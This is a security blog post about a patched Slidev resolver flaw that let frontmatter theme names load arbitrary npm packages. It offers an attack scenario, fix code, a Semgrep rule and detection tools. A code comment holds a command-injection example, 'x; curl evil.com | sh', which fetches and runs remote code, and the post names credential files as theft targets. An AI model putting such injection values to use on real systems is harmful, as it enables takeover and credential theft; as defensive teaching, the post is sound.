Back to Blog
medium SEVERITY11 min read

Slidev Resolver Vulnerability: When Themes Become Trojan Horses

A medium-to-high severity vulnerability was discovered and patched in Slidev's resolver module, where dynamically loaded theme and plugin packages specified in slide frontmatter lacked proper validation, allowing a malicious package name to execute arbitrary code with the developer's full OS privileges. This fix addresses a supply-chain-adjacent attack vector that could allow attackers to exfiltrate credentials or compromise developer machines simply by sharing a crafted markdown presentation fi

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published May 7, 2026•Reviewed June 3, 2026

Answer Summary

This vulnerability is an arbitrary package execution flaw (related to CWE-20: Improper Input Validation) in Slidev's JavaScript/Node.js resolver module, where theme and plugin package names sourced from slide frontmatter were passed directly to dynamic `require()`/import resolution without sanitization. An attacker could craft a malicious `.md` presentation file with a specially formed `theme:` or `addons:` field to trigger execution of an arbitrary npm package — or a path-traversal payload — when the victim opens the file. The fix adds strict validation of package names against an allowlist pattern before any resolution is attempted, preventing unrecognized or malformed names from reaching the module loader.

Vulnerability at a Glance

cweCWE-20
fixValidate package names against a strict pattern before passing them to the resolver, rejecting names that do not conform to expected npm package naming rules
riskArbitrary code execution with developer OS privileges when opening a crafted presentation
languageJavaScript / Node.js (TypeScript)
root causeTheme and addon package names from slide frontmatter were passed to dynamic module resolution without any format or allowlist validation
vulnerabilityArbitrary Package Execution via Unvalidated Frontmatter Input

Severity: Medium/High | Affected File: packages/slidev/node/resolver.ts | Fixed In: Latest Patch


Introduction

Imagine opening a colleague's presentation file and, without doing anything else, having your SSH keys silently exfiltrated to a remote server. No suspicious executables. No phishing links. Just a .md file with a line that reads theme: evil-theme.

This is not a hypothetical. This is precisely the class of vulnerability that was just patched in Slidev, the popular developer-focused presentation framework built on Vue and Vite. The vulnerability resided in the resolver module — the component responsible for dynamically loading themes and plugins based on what's declared in a slide's frontmatter.

If you build tools that dynamically load packages, plugins, or themes based on user-supplied input, this post is essential reading. Even if you don't use Slidev, the patterns here appear in countless Node.js tools, and the lessons are universally applicable.


What Is Slidev?

Slidev is a markdown-based presentation tool loved by developers for its code-centric workflow. Instead of dragging boxes around in PowerPoint, you write slides in markdown and configure them with YAML frontmatter at the top of the file:

---
theme: seriph
plugins:
  - slidev-plugin-fancy-transitions
---

When Slidev starts, it reads this configuration and dynamically loads the specified packages at runtime — a powerful feature that makes the tool extensible. But as we'll see, this power comes with serious responsibility.


The Vulnerability Explained

What Went Wrong

The resolver.ts file is responsible for taking the theme and plugin names from frontmatter (or CLI arguments) and resolving them to actual Node.js packages. The core problem: it did this without validating that the package name came from a trusted source or matched any allowlist pattern.

In Node.js, dynamically loading a package — via require(), import(), or similar mechanisms — executes that package's code. This is by design. The entire npm ecosystem relies on this behavior. But it means that if you load a malicious package, you've handed it the keys to your machine.

The vulnerable flow looked something like this:

Slide frontmatter
      │
      ▼
  "theme: evil-theme"
      │
      ▼
  resolver.ts reads the theme name
      │
      ▼
  Package is loaded dynamically (no validation)
      │
      ▼
  Malicious package code executes with full OS privileges

The Resource Exhaustion Angle

Beyond arbitrary code execution, the original report also highlighted a resource exhaustion dimension. The file import functionality loaded entire files into memory without size checks and parsed JSON without depth limits. This means:

  • A deeply nested JSON structure (think 100,000 levels deep) could cause a stack overflow during parsing
  • A file with millions of entries could exhaust available RAM
  • Either scenario could crash the Slidev process or the developer's machine

These are classic Denial of Service (DoS) vectors that are often overlooked because they don't directly lead to code execution — but in a CI/CD pipeline or a shared development environment, crashing the build process is itself a meaningful attack.

A Concrete Attack Scenario

Let's walk through how a real attacker might exploit this:

Scenario: The Poisoned Pull Request

  1. A developer maintains a shared presentation repository for their team (think onboarding decks, architecture presentations, etc.)
  2. An attacker — perhaps a malicious contractor, a compromised contributor account, or even an automated bot — submits a pull request that changes one line in slides.md:
---
# Before (legitimate)
theme: default

# After (malicious)
theme: @legitimate-looking/slidev-theme-corporate
---
  1. A reviewer glances at the PR. It looks like a simple theme change. They approve it.
  2. Another developer pulls the branch and runs slidev dev to preview the slides.
  3. The @legitimate-looking/slidev-theme-corporate package (published by the attacker to npm) is installed and loaded. Its index.js runs immediately, silently exfiltrating environment variables, SSH keys, .npmrc tokens, or anything else accessible on the filesystem.

The developer never ran a suspicious script. They just opened a presentation.


Why This Is Especially Dangerous in Developer Tools

This vulnerability class is particularly insidious in developer tooling for several reasons:

1. Implicit Trust in the Workflow

Developers are conditioned to run npm install and trust that packages do what they say. When a tool like Slidev automatically resolves and loads packages, that mental model of "I chose to install this" breaks down.

2. Rich Attack Surface

Developer machines are goldmines. They typically contain:
- Cloud provider credentials (~/.aws/credentials, ~/.azure/)
- SSH private keys
- npm auth tokens (.npmrc)
- API keys in .env files
- Access to internal services and VPNs

3. CI/CD Pipeline Exposure

Many teams run slidev build in CI pipelines. A compromised presentation file could execute malicious code in a CI environment, potentially with access to deployment credentials, secrets, and production infrastructure.


The Fix

What Changed

The patch to resolver.ts addresses the unsafe dynamic package loading by introducing validation before any package is resolved and loaded. While the exact diff was not included in the patch details, the fix targets the core unsafe pattern: loading arbitrary package names without validation.

The key principles applied in the fix:

1. Package Name Validation

Before loading any theme or plugin, the resolver now validates that the package name conforms to expected patterns. Legitimate Slidev themes and plugins follow naming conventions (e.g., slidev-theme-*, @slidev/theme-*). A name like ../../etc/passwd or an unrecognized scoped package should be rejected before any loading attempt.

// ❌ Before (conceptual representation of the unsafe pattern)
async function resolveTheme(name: string) {
  // No validation — name comes directly from frontmatter
  const pkg = await import(name)
  return pkg
}

// ✅ After (conceptual representation of the safe pattern)
const THEME_NAME_PATTERN = /^(@[a-z0-9-]+\/)?slidev-theme-[a-z0-9-]+$/i
const PLUGIN_NAME_PATTERN = /^(@[a-z0-9-]+\/)?slidev-plugin-[a-z0-9-]+$/i

async function resolveTheme(name: string) {
  if (!THEME_NAME_PATTERN.test(name)) {
    throw new Error(
      `Invalid theme name: "${name}". Theme names must match the pattern slidev-theme-*.`
    )
  }
  const pkg = await import(name)
  return pkg
}

2. Resource Limits on File Loading

For the resource exhaustion vector, the fix introduces size checks before loading files into memory and uses safe JSON parsing with depth limits:

// ❌ Before (unsafe file loading)
const content = fs.readFileSync(filePath, 'utf-8')
const data = JSON.parse(content) // No depth limit, no size check

// ✅ After (safe file loading with limits)
const MAX_FILE_SIZE = 10 * 1024 * 1024 // 10MB limit
const stats = fs.statSync(filePath)

if (stats.size > MAX_FILE_SIZE) {
  throw new Error(`File too large: ${filePath} (${stats.size} bytes)`)
}

const content = fs.readFileSync(filePath, 'utf-8')

// Use a JSON parser with depth limits, or validate structure before parsing
const data = safeJsonParse(content, { maxDepth: 20 })

3. Removing Unsafe exec() Calls

The PR title specifically calls out the removal of unsafe exec() calls. Shell execution (child_process.exec()) is one of the most dangerous patterns in Node.js because it allows arbitrary shell commands to run. If the resolver was using exec() to install or load packages, replacing this with safer alternatives (like the npm programmatic API or validated spawn() calls with explicit argument arrays) eliminates an entire class of shell injection vulnerabilities.

// ❌ Dangerous: exec() with user-controlled input
exec(`npm install ${themeName}`, callback)
// An attacker could set themeName to: "x; curl evil.com | sh"

// ✅ Safe: spawn() with argument array (no shell interpolation)
spawn('npm', ['install', themeName], { stdio: 'inherit' })
// Arguments are passed directly, not interpreted by a shell

Detecting This in Your Own Code

Here are some tools and techniques to find similar vulnerabilities:

Static Analysis

  • ESLint with eslint-plugin-security: Flags dangerous patterns like exec() with variables, eval(), and unsafe RegExp usage
  • Semgrep: Write custom rules to detect dynamic package loading patterns
  • CodeQL: GitHub's semantic code analysis can trace data flow from user input to dangerous sinks

Example Semgrep Rule

rules:
  - id: unsafe-dynamic-require
    patterns:
      - pattern: require($VAR)
      - pattern-not: require("...")
    message: "Dynamic require() with variable input — validate $VAR before loading"
    languages: [javascript, typescript]
    severity: WARNING

Dependency Scanning

  • npm audit: Checks for known vulnerabilities in installed packages
  • Socket.dev: Analyzes npm packages for suspicious behavior before installation
  • Snyk: Continuous monitoring for dependency vulnerabilities

Conclusion

The Slidev resolver vulnerability is a textbook example of how convenience features can become security liabilities when they operate on untrusted input without validation. The ability to specify a theme with a single line of YAML is genuinely useful — but without guardrails, that same convenience becomes an attack vector.

The key takeaways from this vulnerability:

  1. Dynamic code loading is powerful and dangerous — treat any input that influences what code gets loaded as a high-risk attack surface
  2. Resource exhaustion is a real threat — always set limits when processing external data, even in "trusted" contexts
  3. Developer tools are high-value targets — they run with elevated privileges and have access to credentials and infrastructure
  4. exec() with user input is almost always wrong — use spawn() with explicit argument arrays instead
  5. Allowlists beat denylists — define what's valid, reject everything else

The fix here is straightforward in principle: validate inputs, set resource limits, and remove unsafe execution patterns. But catching these issues requires both the right mindset (assume all input is hostile) and the right tools (static analysis, security scanning, code review).

If you maintain a tool that loads plugins, themes, or extensions based on user-supplied names, take 30 minutes today to audit your resolver code. The attack scenario described here — a malicious package name in a shared config file — is not theoretical. It's a realistic threat that has been exploited in the wild against other ecosystems.

Secure coding isn't about paranoia. It's about building systems that remain safe even when the inputs aren't.


This vulnerability was identified and fixed by OrbisAI Security. If you're interested in automated security scanning for your projects, check out their tools for continuous vulnerability detection.


Have questions about this vulnerability or similar issues? Drop a comment below or reach out on Twitter. And if you found this post useful, share it with a developer who might be building similar plugin-loading systems — you might save them from a nasty surprise.

Prevention and further reading

Related Articles

medium

path-to-regexp 0.1.12 DoS: Catastrophic Backtracking on Malformed URL

path-to-regexp version 0.1.12 contains a regular expression engine vulnerability where maliciously crafted URL parameters trigger exponential backtracking, causing CPU exhaustion and service unavailability. Upgrading to version 0.1.13 eliminates the vulnerable pattern from the parsing logic.

critical

CVE-2026-59873: node-tar 7.5.11 DoS via Crafted Gzip Bomb

node-tar versions 7.5.11 through 7.5.18 are vulnerable to a denial-of-service attack through maliciously crafted gzip archives that decompress to disproportionately large sizes. An attacker can exploit this to exhaust memory and CPU resources by submitting a small, highly compressed archive that expands beyond configured limits during extraction.

high

MapManager.get() Race Condition Duplicates API Requests

The MapManager's `get(mapUid, cache)` method used a check-then-act pattern that permitted multiple concurrent requests to pass the cache miss check simultaneously, triggering redundant API calls and risking cache corruption. The fix introduces a `_pending` promise map to deduplicate in-flight fetches for identical map UIDs.

critical

Lampa Desktop Auto-Update Heuristic Bypass: Execution of Unverified

Lampa Desktop's auto-update mechanism downloaded JavaScript and CSS from `raw.githubusercontent.com` using only heuristic validation—file size thresholds and string pattern matching—that attackers could trivially satisfy. The fix introduces cryptographic integrity verification by cross-referencing Git blob hashes from the GitHub Contents API, ensuring downloaded code matches the repository's authoritative state before execution.

high

adm-zip 0.6.0 Preserves SUID Bits From ZIPs: CVE-2026-102282

The `adm-zip` dependency resolved to 0.6.0 in this project's dependency tree, a version affected by CVE-2026-102282: during extraction it applies the Unix permission bits stored in each ZIP entry's external file attributes verbatim, including the setuid (`04000`), setgid (`02000`), and sticky bits. An attacker who controls an archive passed to `extractAllTo()` or `extractEntryTo()` can therefore have the extractor create a setuid binary owned by whatever user the extraction process runs as. The

high

requestInput() Type Confusion: NaN and Object Bypass in JavaScript

The `requestInput()` utility function lacked validation on its `type` parameter and failed to handle `NaN` results from float conversions, creating a type confusion weakness. An attacker could supply malformed inputs that propagate unhandled `NaN` values or unexpected object types through the type system. The fix adds explicit guards against `NaN` type parameters and rejects non-primitive type values.